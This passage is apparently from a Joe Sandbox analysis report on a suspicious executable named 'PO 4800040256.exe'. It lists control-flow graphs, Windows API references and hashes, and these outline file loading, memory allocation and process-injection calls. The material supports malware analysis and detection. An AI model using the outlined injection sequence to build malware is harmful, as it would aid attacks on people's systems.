                                                                                                                                                                      control_flow_graph 1334 410130-410142 SHGetMalloc 1335 410148-410158 SHGetDesktopFolder 1334->1335 1336 42944f-429459 call 411691 1334->1336 1337 4101d1-4101e0 1335->1337 1338 41015a-410188 call 411691 1335->1338 1337->1336 1344 4101e6-4101ee 1337->1344 1346 4101c5-4101ce 1338->1346 1347 41018a-4101a1 SHGetPathFromIDListW 1338->1347 1346->1337 1348 4101a3-4101b1 call 411691 1347->1348 1349 4101b4-4101c0 1347->1349 1348->1349 1349->1346
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _wcscpy$DesktopFolderFromListMallocPath
                                                                                                                                                                      • String ID: C:\Users\user\Desktop\PO 4800040256.exe
                                                                                                                                                                      • API String ID: 192938534-2314027597
                                                                                                                                                                      • Opcode ID: 41672701d810a85b6866b378b1839c38d53fca73f5daf9d2a63f2dfb0070f590
                                                                                                                                                                      • Instruction ID: 2fe23ff91bf644c1e681f842d3c1e96d6f0f177144f23c1ad52f1bdc7517ad48
                                                                                                                                                                      • Opcode Fuzzy Hash: 41672701d810a85b6866b378b1839c38d53fca73f5daf9d2a63f2dfb0070f590
                                                                                                                                                                      • Instruction Fuzzy Hash: 822179B5604211AFC210EB64DC84DABB3ECEFC8704F14891DF94987210E739ED46CBA6
                                                                                                                                                                      Function 00401230 Relevance: 12.1, APIs: 8, Instructions: 83windowtimeCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 1352 401230-40123b 1353 401241-401272 call 4131f0 call 401be0 1352->1353 1354 4012c5-4012cd 1352->1354 1359 401274-401292 1353->1359 1360 4012ae-4012bf KillTimer SetTimer 1353->1360 1361 42aa61-42aa67 1359->1361 1362 401298-40129c 1359->1362 1360->1354 1363 42aa8b-42aaa7 Shell_NotifyIconW 1361->1363 1364 42aa69-42aa86 Shell_NotifyIconW 1361->1364 1365 4012a2-4012a8 1362->1365 1366 42aaac-42aab3 1362->1366 1363->1360 1364->1360 1365->1360 1369 42aaf8-42ab15 Shell_NotifyIconW 1365->1369 1367 42aad7-42aaf3 Shell_NotifyIconW 1366->1367 1368 42aab5-42aad2 Shell_NotifyIconW 1366->1368 1367->1360 1368->1360 1369->1360
                                                                                                                                                                      APIs
                                                                                                                                                                      • _memset.LIBCMT ref: 00401257
                                                                                                                                                                        • Part of subcall function 00401BE0: _memset.LIBCMT ref: 00401C62
                                                                                                                                                                        • Part of subcall function 00401BE0: _wcsncpy.LIBCMT ref: 00401CA1
                                                                                                                                                                        • Part of subcall function 00401BE0: _wcscpy.LIBCMT ref: 00401CBD
                                                                                                                                                                        • Part of subcall function 00401BE0: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401CCF
                                                                                                                                                                      • KillTimer.USER32(?,?), ref: 004012B0
                                                                                                                                                                      • SetTimer.USER32(?,?,000002EE,00000000), ref: 004012BF
                                                                                                                                                                      • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AA80
                                                                                                                                                                      • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AACC
                                                                                                                                                                      • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AB0F
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: IconNotifyShell_$Timer_memset$Kill_wcscpy_wcsncpy
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1792922140-0
                                                                                                                                                                      • Opcode ID: a7115ab057bf29602ed6c82bb799c717f5f73d3545905a596edaeb05fb95c8cc
                                                                                                                                                                      • Instruction ID: 78dbdb20408675f5dda5a176dd8a03fc230073daf987e80dd157250a536ae6f7
                                                                                                                                                                      • Opcode Fuzzy Hash: a7115ab057bf29602ed6c82bb799c717f5f73d3545905a596edaeb05fb95c8cc
                                                                                                                                                                      • Instruction Fuzzy Hash: 56319670609642BFD319CB24D544B9BFBE8BF85304F04856EF488A3251C7789A19D7AB
                                                                                                                                                                      Function 03EF3C28 Relevance: 10.7, APIs: 7, Instructions: 239fileCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 1370 3ef3c28-3ef3cd6 call 3ef1628 1373 3ef3cdd-3ef3d03 call 3ef4b38 CreateFileW 1370->1373 1376 3ef3d0a-3ef3d1a 1373->1376 1377 3ef3d05 1373->1377 1382 3ef3d1c 1376->1382 1383 3ef3d21-3ef3d3b VirtualAlloc 1376->1383 1378 3ef3e55-3ef3e59 1377->1378 1380 3ef3e9b-3ef3e9e 1378->1380 1381 3ef3e5b-3ef3e5f 1378->1381 1384 3ef3ea1-3ef3ea8 1380->1384 1385 3ef3e6b-3ef3e6f 1381->1385 1386 3ef3e61-3ef3e64 1381->1386 1382->1378 1389 3ef3d3d 1383->1389 1390 3ef3d42-3ef3d59 ReadFile 1383->1390 1391 3ef3efd-3ef3f12 1384->1391 1392 3ef3eaa-3ef3eb5 1384->1392 1387 3ef3e7f-3ef3e83 1385->1387 1388 3ef3e71-3ef3e7b 1385->1388 1386->1385 1395 3ef3e85-3ef3e8f 1387->1395 1396 3ef3e93 1387->1396 1388->1387 1389->1378 1397 3ef3d5b 1390->1397 1398 3ef3d60-3ef3da0 VirtualAlloc 1390->1398 1393 3ef3f14-3ef3f1f VirtualFree 1391->1393 1394 3ef3f22-3ef3f2a 1391->1394 1399 3ef3eb9-3ef3ec5 1392->1399 1400 3ef3eb7 1392->1400 1393->1394 1395->1396 1396->1380 1397->1378 1401 3ef3da7-3ef3dc2 call 3ef4d88 1398->1401 1402 3ef3da2 1398->1402 1403 3ef3ed9-3ef3ee5 1399->1403 1404 3ef3ec7-3ef3ed7 1399->1404 1400->1391 1410 3ef3dcd-3ef3dd7 1401->1410 1402->1378 1407 3ef3ee7-3ef3ef0 1403->1407 1408 3ef3ef2-3ef3ef8 1403->1408 1406 3ef3efb 1404->1406 1406->1384 1407->1406 1408->1406 1411 3ef3e0a-3ef3e1e call 3ef4b98 1410->1411 1412 3ef3dd9-3ef3e08 call 3ef4d88 1410->1412 1418 3ef3e22-3ef3e26 1411->1418 1419 3ef3e20 1411->1419 1412->1410 1420 3ef3e28-3ef3e2c CloseHandle 1418->1420 1421 3ef3e32-3ef3e36 1418->1421 1419->1378 1420->1421 1422 3ef3e38-3ef3e43 VirtualFree 1421->1422 1423 3ef3e46-3ef3e4f 1421->1423 1422->1423 1423->1373 1423->1378
                                                                                                                                                                      APIs
                                                                                                                                                                      • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 03EF3CF9
                                                                                                                                                                      • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 03EF3F1F
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2141592912.0000000003EF1000.00000040.00000020.00020000.00000000.sdmp, Offset: 03EF1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_3ef1000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CreateFileFreeVirtual
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 204039940-0
                                                                                                                                                                      • Opcode ID: c604c45430315f2d7ac9edfc96fa3ed3524b16f7139e20e6f85f26396c7b052c
                                                                                                                                                                      • Instruction ID: dbaf691f6c4d11a73ca0013d05a58bbfd9f6c0c9204270c467e4c6e65b8851b2
                                                                                                                                                                      • Opcode Fuzzy Hash: c604c45430315f2d7ac9edfc96fa3ed3524b16f7139e20e6f85f26396c7b052c
                                                                                                                                                                      • Instruction Fuzzy Hash: B4A11B78E00209EFDB14CFA4C894BEEB7B5BF48708F149699E615BB280D7B59A41CF50
                                                                                                                                                                      Function 00414F10 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 1424 414f10-414f2c 1425 414f4f 1424->1425 1426 414f2e-414f31 1424->1426 1428 414f51-414f55 1425->1428 1426->1425 1427 414f33-414f35 1426->1427 1429 414f37-414f46 call 417f23 1427->1429 1430 414f56-414f5b 1427->1430 1441 414f47-414f4c call 417ebb 1429->1441 1432 414f6a-414f6d 1430->1432 1433 414f5d-414f68 1430->1433 1436 414f7a-414f7c 1432->1436 1437 414f6f-414f77 call 4131f0 1432->1437 1433->1432 1435 414f8b-414f9e 1433->1435 1439 414fa0-414fa6 1435->1439 1440 414fa8 1435->1440 1436->1429 1438 414f7e-414f89 1436->1438 1437->1436 1438->1429 1438->1435 1443 414faf-414fb1 1439->1443 1440->1443 1441->1425 1446 4150a1-4150a4 1443->1446 1447 414fb7-414fbe 1443->1447 1446->1428 1449 414fc0-414fc5 1447->1449 1450 415004-415007 1447->1450 1449->1450 1451 414fc7 1449->1451 1452 415071-415072 call 41e6b1 1450->1452 1453 415009-41500d 1450->1453 1456 415102 1451->1456 1457 414fcd-414fd1 1451->1457 1459 415077-41507b 1452->1459 1454 41500f-415018 1453->1454 1455 41502e-415035 1453->1455 1460 415023-415028 1454->1460 1461 41501a-415021 1454->1461 1463 415037 1455->1463 1464 415039-41503c 1455->1464 1462 415106-41510f 1456->1462 1465 414fd3 1457->1465 1466 414fd5-414fd8 1457->1466 1459->1462 1467 415081-415085 1459->1467 1468 41502a-41502c 1460->1468 1461->1468 1462->1428 1463->1464 1469 415042-41504e call 41453a call 41ed9e 1464->1469 1470 4150d5-4150d9 1464->1470 1465->1466 1471 4150a9-4150af 1466->1471 1472 414fde-414fff call 41ee9b 1466->1472 1467->1470 1473 415087-415096 1467->1473 1468->1464 1492 415053-415058 1469->1492 1478 4150eb-4150fd call 417f23 1470->1478 1479 4150db-4150e8 call 4131f0 1470->1479 1474 4150b1-4150bd call 4131f0 1471->1474 1475 4150c0-4150d0 call 417f23 1471->1475 1481 415099-41509b 1472->1481 1473->1481 1474->1475 1475->1441 1478->1441 1479->1478 1481->1446 1481->1447 1493 415114-415118 1492->1493 1494 41505e-415061 1492->1494 1493->1462 1494->1456 1495 415067-41506f 1494->1495 1495->1481
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3886058894-0
                                                                                                                                                                      • Opcode ID: b117a392f3759847975495debe7ea87102f8b7de0bc78f8cbc322732e1c6b221
                                                                                                                                                                      • Instruction ID: 085ef53bf2cba992f8731f00f2d52beda6aca72a1b803249d76dffc069a60243
                                                                                                                                                                      • Opcode Fuzzy Hash: b117a392f3759847975495debe7ea87102f8b7de0bc78f8cbc322732e1c6b221
                                                                                                                                                                      • Instruction Fuzzy Hash: CA510830900604EFCB208FA9C8445DFBBB5EFC5324F24825BF82596290D7799ED2CB99
                                                                                                                                                                      Function 004103E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43COMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 1496 4103e0-410461 CreateWindowExW * 2 ShowWindow * 2
                                                                                                                                                                      APIs
                                                                                                                                                                      • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 00410415
                                                                                                                                                                      • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 0041043E
                                                                                                                                                                      • ShowWindow.USER32(?,00000000), ref: 00410454
                                                                                                                                                                      • ShowWindow.USER32(?,00000000), ref: 0041045E
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Window$CreateShow
                                                                                                                                                                      • String ID: AutoIt v3$edit
                                                                                                                                                                      • API String ID: 1584632944-3779509399
                                                                                                                                                                      • Opcode ID: 2f6e2284bb2ae2ba7cf4e865adc3bced08dc322388bda6343c860b78a8eff359
                                                                                                                                                                      • Instruction ID: daa3d4afae2654ee996124117597f48fa5c574a0ac4b96d00400a8ba476d7f73
                                                                                                                                                                      • Opcode Fuzzy Hash: 2f6e2284bb2ae2ba7cf4e865adc3bced08dc322388bda6343c860b78a8eff359
                                                                                                                                                                      • Instruction Fuzzy Hash: F3F0A975BE4310BAF6609754AC43F592B59A765F00F3445ABB700BF1D0D6E478408B9C
                                                                                                                                                                      Function 03EF39D8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 152fileCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 1497 3ef39d8-3ef3b20 call 3ef1628 call 3ef38c8 CreateFileW 1504 3ef3b27-3ef3b37 1497->1504 1505 3ef3b22 1497->1505 1508 3ef3b3e-3ef3b58 VirtualAlloc 1504->1508 1509 3ef3b39 1504->1509 1506 3ef3bd7-3ef3bdc 1505->1506 1510 3ef3b5c-3ef3b73 ReadFile 1508->1510 1511 3ef3b5a 1508->1511 1509->1506 1512 3ef3b77-3ef3bb1 call 3ef3908 call 3ef28c8 1510->1512 1513 3ef3b75 1510->1513 1511->1506 1518 3ef3bcd-3ef3bd5 ExitProcess 1512->1518 1519 3ef3bb3-3ef3bc8 call 3ef3958 1512->1519 1513->1506 1518->1506 1519->1518
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 03EF38C8: Sleep.KERNELBASE(000001F4), ref: 03EF38D9
                                                                                                                                                                      • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 03EF3B16
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2141592912.0000000003EF1000.00000040.00000020.00020000.00000000.sdmp, Offset: 03EF1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_3ef1000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CreateFileSleep
                                                                                                                                                                      • String ID: W9I29M058RUNQNI39HPR14CZ92597J
                                                                                                                                                                      • API String ID: 2694422964-3430785293
                                                                                                                                                                      • Opcode ID: 3d7f5b7379cd614ca9a8860d918e58b6b66aa3f0c912abf88427a69dd11ec05d
                                                                                                                                                                      • Instruction ID: fc30a812171c81f68711073f7f8c42c8d30a2a1edcb72f0246fe119746ceb046
                                                                                                                                                                      • Opcode Fuzzy Hash: 3d7f5b7379cd614ca9a8860d918e58b6b66aa3f0c912abf88427a69dd11ec05d
                                                                                                                                                                      • Instruction Fuzzy Hash: 7F616274D04298DEEF12DBE4C858BEEBBB89F15304F044699D6487B2C1C7B90B49CB65
                                                                                                                                                                      Function 00413A88 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 1521 413a88-413a99 call 41718c 1524 413b10-413b15 call 4171d1 1521->1524 1525 413a9b-413aa2 1521->1525 1526 413aa4-413abc call 418407 call 419f6d 1525->1526 1527 413ae7 1525->1527 1539 413ac7-413ad7 call 413ade 1526->1539 1540 413abe-413ac6 call 419f9d 1526->1540 1531 413ae8-413af8 RtlFreeHeap 1527->1531 1531->1524 1533 413afa-413b0f call 417f23 GetLastError call 417ee1 1531->1533 1533->1524 1539->1524 1546 413ad9-413adc 1539->1546 1540->1539 1546->1531
                                                                                                                                                                      APIs
                                                                                                                                                                      • __lock.LIBCMT ref: 00413AA6
                                                                                                                                                                        • Part of subcall function 00418407: __mtinitlocknum.LIBCMT ref: 0041841D
                                                                                                                                                                        • Part of subcall function 00418407: __amsg_exit.LIBCMT ref: 00418429
                                                                                                                                                                        • Part of subcall function 00418407: EnterCriticalSection.KERNEL32(?,?,?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001), ref: 00418431
                                                                                                                                                                      • ___sbh_find_block.LIBCMT ref: 00413AB1
                                                                                                                                                                      • ___sbh_free_block.LIBCMT ref: 00413AC0
                                                                                                                                                                      • RtlFreeHeap.NTDLL(00000000,00411739,0048C758,0000000C,004183E8,00000000,0048CA38,0000000C,00418422,00411739,?,?,004224D3,00000004,0048CCA0,0000000C), ref: 00413AF0
                                                                                                                                                                      • GetLastError.KERNEL32(?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001,00000214), ref: 00413B01
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2714421763-0
                                                                                                                                                                      • Opcode ID: 1be655156b84d1756d47887b3dc267bc1ef03bd4322eaa0c22e254cdcea9361a
                                                                                                                                                                      • Instruction ID: 54fb22c17cbd059cfb8714ef359fce415cc636064f476ff80f42ef981757bf49
                                                                                                                                                                      • Opcode Fuzzy Hash: 1be655156b84d1756d47887b3dc267bc1ef03bd4322eaa0c22e254cdcea9361a
                                                                                                                                                                      • Instruction Fuzzy Hash: 7401A731A08301BADF206F71AC09BDF3B64AF00759F10052FF544A6182DB7D9AC19B9C
                                                                                                                                                                      Function 0040F5E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 1547 40f5e0-40f62f call 40f580 call 413990 call 4112ef call 40f6a0 call 40f6d0 1558 40f631-40f653 1547->1558 1558->1558 1559 40f655-40f66d call 414e06 1558->1559 1562 40f673-40f67b call 40f450 1559->1562 1563 42b2ee 1559->1563 1566 42b2f8-42b322 call 4151b0 call 44afdc 1562->1566 1567 40f681-40f695 call 414e94 1562->1567 1563->1566 1574 42b324-42b330 1566->1574 1574->1574 1575 42b332-42b338 call 415484 1574->1575 1577 42b33d-42b343 1575->1577
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0040F580: _wcslen.LIBCMT ref: 0040F58A
                                                                                                                                                                        • Part of subcall function 0040F580: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?), ref: 0040F5A3
                                                                                                                                                                        • Part of subcall function 0040F580: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,-00000010,00000001,?,?,?,?), ref: 0040F5CC
                                                                                                                                                                      • _strcat.LIBCMT ref: 0040F603
                                                                                                                                                                        • Part of subcall function 0040F6A0: _memset.LIBCMT ref: 0040F6A8
                                                                                                                                                                        • Part of subcall function 0040F6D0: _strlen.LIBCMT ref: 0040F6D8
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ByteCharMultiWide$_memset_strcat_strlen_wcslen
                                                                                                                                                                      • String ID: HH
                                                                                                                                                                      • API String ID: 1194219731-2761332787
                                                                                                                                                                      • Opcode ID: 6830d432ce0edc537904fcc81a92ccb4243d6e1eaca554fb6fd30da9042373f9
                                                                                                                                                                      • Instruction ID: 1fd31f67f6889806bd2ce24d6488871f5ee50ddf162d20410a363c4a19aba518
                                                                                                                                                                      • Opcode Fuzzy Hash: 6830d432ce0edc537904fcc81a92ccb4243d6e1eaca554fb6fd30da9042373f9
                                                                                                                                                                      • Instruction Fuzzy Hash: 022158B260825067C724EF7A9C8266EF7D8AF85308F148C3FF554D2282F638D555879A
                                                                                                                                                                      Function 03EF28C8 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • CreateProcessW.KERNELBASE(?,00000000), ref: 03EF3083
                                                                                                                                                                      • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 03EF3119
                                                                                                                                                                      • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 03EF313B
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2141592912.0000000003EF1000.00000040.00000020.00020000.00000000.sdmp, Offset: 03EF1000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_3ef1000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2438371351-0
                                                                                                                                                                      • Opcode ID: 0b43d72d38ac188f5e361c01a6572487286e397564ea08694eb873f1bb21aafa
                                                                                                                                                                      • Instruction ID: b46221ba088940f5606124d5a110a48da066f628b02324509801aa8df54b420c
                                                                                                                                                                      • Opcode Fuzzy Hash: 0b43d72d38ac188f5e361c01a6572487286e397564ea08694eb873f1bb21aafa
                                                                                                                                                                      • Instruction Fuzzy Hash: 31620C34A14658DBEB24DFA4C840BDEB376EF58304F1091A9D20DEB390E7B59E81CB59
                                                                                                                                                                      Function 0041171A Relevance: 6.0, APIs: 4, Instructions: 34COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _malloc.LIBCMT ref: 00411734
                                                                                                                                                                        • Part of subcall function 004138BA: __FF_MSGBANNER.LIBCMT ref: 004138DD
                                                                                                                                                                        • Part of subcall function 004138BA: __NMSG_WRITE.LIBCMT ref: 004138E4
                                                                                                                                                                        • Part of subcall function 004138BA: RtlAllocateHeap.NTDLL(00000000,0041172A,?,?,?,?,00411739,?,00401C0B), ref: 00413931
                                                                                                                                                                      • std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                        • Part of subcall function 004116B0: std::exception::exception.LIBCMT ref: 004116BC
                                                                                                                                                                      • std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                      • __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1411284514-0
                                                                                                                                                                      • Opcode ID: ca7221cdd9cc9326792a0c346bb7c35cd30f9974032eaa45b6addcc39664c516
